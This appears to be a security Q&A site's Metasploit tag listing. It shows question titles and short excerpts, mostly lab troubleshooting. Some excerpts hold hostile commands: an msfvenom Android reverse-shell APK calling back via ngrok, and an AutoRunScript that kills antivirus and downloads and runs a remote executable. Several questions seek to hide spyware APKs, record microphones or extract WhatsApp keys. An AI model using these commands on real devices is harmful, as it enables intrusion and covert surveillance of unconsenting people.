Questions tagged [metasploit]
Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine
504
questions
1
vote
1
answer
314
views
Metasploit: java_signed_applet attack hangs after user response
I am trying to perform a client side attack with Metasploit on a 32 bit Windows 7 Professional N (SP1) victim. I have Windows Defender and Firewall disabled and Java Control Panel Security set at ...
CommunityBot
- 1
0
votes
2
answers
3k
views
Metasploit over WAN (ngrok) - Specify different LHOST and LPORT for payload and listener in an exploit
I am testing some exploits over WAN with a port-forwarded server and am attempting to use a specific exploit module with the payload being a windows/meterpreter/reverse_tcp shell. This is all executed ...
CommunityBot
- 1
0
votes
0
answers
34
views
Why does metasploit SSL scanner only show highest version available?
I'm trying to scan my server (Apache2 on Debian), which is configured to support only TLS1.2 (and 1.3, presumably?). The config line is:
SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1
I scan it with:
msf6 &...
- 123
11
votes
1
answer
4k
views
Meterpreter (Metasploit) anonymous reverse connection over Tor2web
The general consensus seems to be that one sets up a listener on a server accessible by a public IP and some port forwarding. For anonymity this should be a throw-away server or a hacked box.
I've ...
CommunityBot
- 1
0
votes
1
answer
75
views
Options to use for the Database Backend Command 'analyze' in msfconsole
I noticed the command analyze under Database Backend Commands in msfconsole while trying to analyze a subnet. analyze -h shows usage as such:
analyze [OPTIONS] [addr1 addr2 ..]
and that's it.
I have ...
CommunityBot
- 1
10
votes
3
answers
10k
views
Gained Privilege Escalation but no authority using Metasploit
I am facing a very weird issue. I have successfully popped a box using Shellter with Meterpreter_Reverse TCP.
Here is the sysinfo :
meterpreter > sysinfo
Computer : ********
OS ...
- 127k
1
vote
1
answer
881
views
Hiding metasploit APK after first launch
How can I hide metasploit APK after first launch? I know there is a command for it in meterpreter but I want it to hide itself when it is first launched. Before adding hide_app_icon command to ...
CommunityBot
- 1
2
votes
1
answer
3k
views
Metasploit x86/unicode_upper failed with "An encoding exception occurred"
I'am playing a bit with assembler and I decided to test out how metasploit encodes a payload into Unicode uppercase characters as assembly instructions which are meant to be decoded by itself. So I ...
CommunityBot
- 1
1
vote
1
answer
4k
views
Stdapi commands not showing in meterpreter session
I created a android payload with public IP (android/meterpreter/reverse_https).
The stdapi commands(ls,cd,webcam_snap etc) are showing when the victim is in the same network.
But when I try to ...
CommunityBot
- 1
1
vote
1
answer
690
views
How to set autorunscript of core commands?
I'm trying to automate scripts of an Android Metasploit payload. I can successfully automate any script on the /post module, however, I'm trying to automate geolocate, dump_calllog and others that are ...
CommunityBot
- 1
6
votes
1
answer
1k
views
Pivoting with Metasploit
I am trying to exploit a Windows VM on a different subnet behind a dual home Linux VM where I already have a shell. To keep it simple, I have a meterpreter reverse_tcp shell on the Linux VM (192.168....
CommunityBot
- 1
0
votes
0
answers
18
views
How to connect OpenVAS to the Metasploit Framework [duplicate]
I want to connect OpenVAS to the Metasploit using plugin "openvas".
I used load openvas in msfconsole and openvas_connect with the necessary parameters (user, password, host, port and ssl-...
- 127k
5
votes
1
answer
9k
views
Error Running command shell :TimeoutError Operation Time out
I am Testing a Payload linux/x86/meterpreter/reverse_tcp in my Test Linux network to Exploit, I got a Meterpreter Session by Metasploit using it, I tried several commands like getuid, cat and all ...
CommunityBot
- 1
2
votes
1
answer
255
views
Why does Hydra SMB attack not work while Metasploit does?
I'm learning about password attacks, and doing TryHackMe labs.
User: penny
Pass: leo1234
When using Hydra to find the password for the SMB user, I get no valid results:
I know the valid password is ...
- 1,726
0
votes
0
answers
100
views
APK reverse shell using ngrok is not creating a session
I am using ngrok for port forwarding (./ngrok tcp 4242)
I created a payload using
msfvenom -p android/meterpreter/reverse_tcp LHOST=0.tcp.in.ngrok.io LPORT=16656 R> /var/www/html/package.apk
then ...
- 127k
2
votes
1
answer
5k
views
Cannot execute program with Meterpreter on target OS
I'm a uni student taking a course on cybersecurity and what I am attempting to do is solely for educational purposes and not malicious.
I used the eternalblue exploit to gain access to the victim's ...
CommunityBot
- 1
1
vote
1
answer
1k
views
How to use msfvenom elf approach for metasploitable 2?
How to use msfvenom elf approach for metasploitable 2?
I am reading a book that teaches how to make a msfvenom executable for Windows. But I am learning on metasploitable 2. I really did not want to ...
CommunityBot
- 1
2
votes
1
answer
137
views
Msfvenom reverse_tcp without LHOST
I have tested SMBGhost (CVE-2020-0796). I used the following msfvenom command to generate a reverse shell payload.
msfvenom - p windows/x64/meterpreter/reverse_tcp LPORT = 4444 - b '\x00' - i 1 - f ...
CommunityBot
- 1
2
votes
1
answer
1k
views
Meterpreter record_mic automation
I am toying with the record_mic function on my laptop and noticed that no matter what i do i cannot capture a stream longer than 12 seconds or i get timeout errors. I thought this was a limitation of ...
CommunityBot
- 1
0
votes
1
answer
278
views
Are metasploit exploits port-specific (smb-samba)?
I was trying a machine on vulnhub and I found port 139 open that was samba-4.3.11.
I searched for an exploit for that particular version and I found the is_known_pipename() exploit. But when I ran it, ...
- 127k
0
votes
1
answer
3k
views
is there any way to exit meterpreter without exit the process?
I have a target process I'm injecting meterpreter shellcode (windows/meterpreter/reverse_tcp) into, I manage to get a shell but when I exit it, the process exits as well.
Is there any easy way to make ...
CommunityBot
- 1
2
votes
1
answer
244
views
Metasploit Python module: "Unknown datastore option: CMD."
In a Python Metasploit module that I'm developing, I am trying to use CMD as one of the options:
'options': {
'RHOST': {'type': 'address', 'description': 'Target address', 'required': True, '...
- 143
6
votes
5
answers
42k
views
Obtaining the IP address of a virtual machine to use Metasploit
I am beginning to learn Metasploit and, to play safe, am practicing it out on a virtual machine.
The target machine, which is a virtual machine, is under NATing. How do I access it/ connect to it- ...
4
votes
1
answer
1k
views
Custom EXE Template Metasploit 64-bit ASM PE Syntax
I asked this previously then deleted since I think I asked the question without gearing it towards msfvenom and custom EXE templates.
There is a 64-bit Windows PE written in assembly that ships with ...
CommunityBot
- 1
2
votes
0
answers
76
views
Metasploit Meterpreter how to restore/create new session? [closed]
I created an apk for Android with Metasploit. Started with host ip and port and opened the "receiver terminal"
A lot of things worked well when executing the apk but after some time the ...
- 127k
1
vote
1
answer
710
views
SSH_login not prompting meterprepter?
So Basically I am trying to create a SSH session in metasploit. session opens successfully when I do sessions #, it prints [*] Starting interaction with 4... but when I do a dir, no result or no ...
CommunityBot
- 1
0
votes
1
answer
257
views
Msfconsole-exploit command: what options are used to generate a payload?
I have the following test environment with three computers:
[victim] 192.168.0.104 running Windows 2003
[listener] 192.168.0.22
[Kali] 192.168.0.26
On the Kali machine, I used the following ...
CommunityBot
- 1
0
votes
0
answers
54
views
Filter or suppress runtime errors in metasploit scans
Is there a command or options so results from metasploit scanning sessions don't print any runtime errors...
With so many errors mostly due to connections being reset by peers, it is quite difficult ...
- 127k
4
votes
2
answers
4k
views
Metasploit & openvas error (openvas_connect)
I'm using Kali 4.3.0 and trying to run openVAS plugin into the Metasploit. OpenVAS (version 8.0) works properly on port 9392, metasploit is ok too. This is log of error:
msf > openvas_connect ...
- 127k
1
vote
1
answer
341
views
Configure the Metasploit SSH client to support `aes256-cbc`
I am trying to set up a vulnerable machine running freeSSHd 1.2.6. The Metasploit exploit module fails with the following error:
Server encryption_client preferences: aes128-cbc,3des-cbc,blowfish-cbc,...
CommunityBot
- 1
0
votes
0
answers
8
views
Metasploit exploit linux/http/hikvision_cve_2021_36260_blind issue 'command shell session x is invalid and will be closed' [duplicate]
When I use the Hikvision CVE 2021 36260 exploit in Metasploit, it comes up with a strange, almost never-seen-before error Command shell session x is not valid and will be closed. There is no other ...
- 127k
0
votes
1
answer
232
views
Exploit failed: NoMethodError undefined method `smtp_send_recv' for #<Module:exploit/unix/smtp/exim4_string_format [closed]
I was trying to run an exploit using Metasploit's Exim tool. In the process I will have used the exim4_string_format module. I gave as information a RHOST, LHOSTS AND LPORT. To attack the reverse_perl ...
0
votes
0
answers
54
views
Is there a way for a victim Meterpreter session to connect to a VPS which redirects the connection to my laptop
I travel a lot, and I need to use Metasploit Framework for my pentesting course. The problem is that I do not have a stable IP address to which the victim's Meterpreter session could connect to.
Is ...
0
votes
1
answer
357
views
msfconsole and using bash variables
When trying to set RHOSTS for an auxiliary module, I tried using $server, which is a bash variable I've set before entering msfconsole. It is not readable from within msfconsole.
How do I access bash ...
- 127k
1
vote
2
answers
215
views
How payloads provide backdoors when the victims are out of local network [duplicate]
I am a newbie in cyber security and trying to learn how payloads provide backdoors when the victims are out of the local network.
I know that metasploit is a good tool for making payloads, and using ...
- 1,559
0
votes
0
answers
87
views
reverse https windows meterpreter payload for ARM
I am working with this meterpreter payload:
windows/meterpreter/reverse_https
It works fine but it does not support ARM architecture.
Do you know how I can compile this payload into ARM code?
And do ...
- 127k
0
votes
3
answers
2k
views
MSFvenom payload with dynamic options
I am using MSFvenom to export meterpreter's reverse TCP payload. While this works with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.6.131 LPORT=4444 -f -exe > ~/Desktop/...
1
vote
1
answer
184
views
Network address (DNS) translation on Amazon Web Services (Ec2)
I am trying to figure out better ways to practice my computer defense/ infosec skills. If someone was to set up a honeypot (e.g., MHN) on AWS/EC2 server and then try to launch attacks from a local ...
- 2,999
-1
votes
2
answers
10k
views
How to set autorunscript multiple commands?
set AutoRunScript "post/windows/manage/killav","post/windows/manage/download_exec EXECUTE=true OUTPUT=false URL=http://google.com/so.exe"
does not work
How to start AutoRunScript multiple commands ...
- 101
1
vote
0
answers
5k
views
Meterpreter is failing to load any extension except the core commands
[*] Starting persistent handler(s)...
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
...
- 127k
6
votes
2
answers
10k
views
Reverse connection Metasploitable 2 -> Kali Linux (Samba 3.x) without Metasploit
I am trying to exploit Metasploitable 2 without the use of Metasploit, with the aim of learning. In this case, I am focusing on Samba 3.x (Port TCP 139, 445)
In this link http://www.rwbnetsec.com/...
- 127k
1
vote
0
answers
254
views
Get root permission on android for metasploit
Is there any way to get into the root file system in android with an already installed msfvenom apk in reverse_tcp (to get the whatsapp encryption key)
- 127k
0
votes
0
answers
58
views
Is it possible to recover a Metasploit terminal session closed by accident?
Is there a way to recover a connection to the server if by accident the terminal window which was open with Metasploit running was closed or should I start every process all over again?
- 127k
-1
votes
2
answers
3k
views
Metasploitable: vnc_login - doesn't work with msfadmin:msfadmin
I am quite new to Metasploit and pen testing in general, so apologies for any seemingly noobish references below.
I am using auxiliary/scanner/vnc/vnc_login, after seeing that the 5900 port is open ...
CommunityBot
- 1
0
votes
0
answers
176
views
Where to find where images are located in the target's android device
I failed to find images on my second device that I hacked using a Metasploit reverse TCP shell.
It seems that the search command isn't working at all and that I'm stuck with one directory on the ...
- 127k
0
votes
1
answer
113
views
What is the version of the scanned OS?
I've scanned a target with metasploit scanner/smb/smb_version and nmap -O.
smb_version: Windows 2016 Standard (build:14393)
Nmap: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
What is ...
1
vote
1
answer
3k
views
Netcat as a handler for windows/meterpreter/reverse_tcp payload
How can I use netcat as a handler for windows/meterpreter/reverse_tcp payload? I am getting a connection but am unable to run any command
- 127k
4
votes
2
answers
9k
views
Metasploit opens Meterpreter but shows no prompt please help
I have created a payload to a website with msfvenom, and started the exploit/multi/handler listener, they then connect to each other and create a meterpreter session as seen below.
The problem is, I ...
- 776
0
votes
0
answers
91
views
Where does meterpreter initially land in RAM?
When I exploit a service with Metasploit and expect a meterpreter reverse shell, where is my meterpreter session located on the target machine? Is it within the allocated memory of the exploited ...
- 776
1
vote
1
answer
1k
views
Practical example of pentesting using msfvenom
I'm updating a small article that is out of date, but I don't know a lot about pentesting.
The framework is mfsvenom and the code is:
msfencode -x calc.exe -t loop-vbs -o final.vbs
Before it was ...
CommunityBot
- 1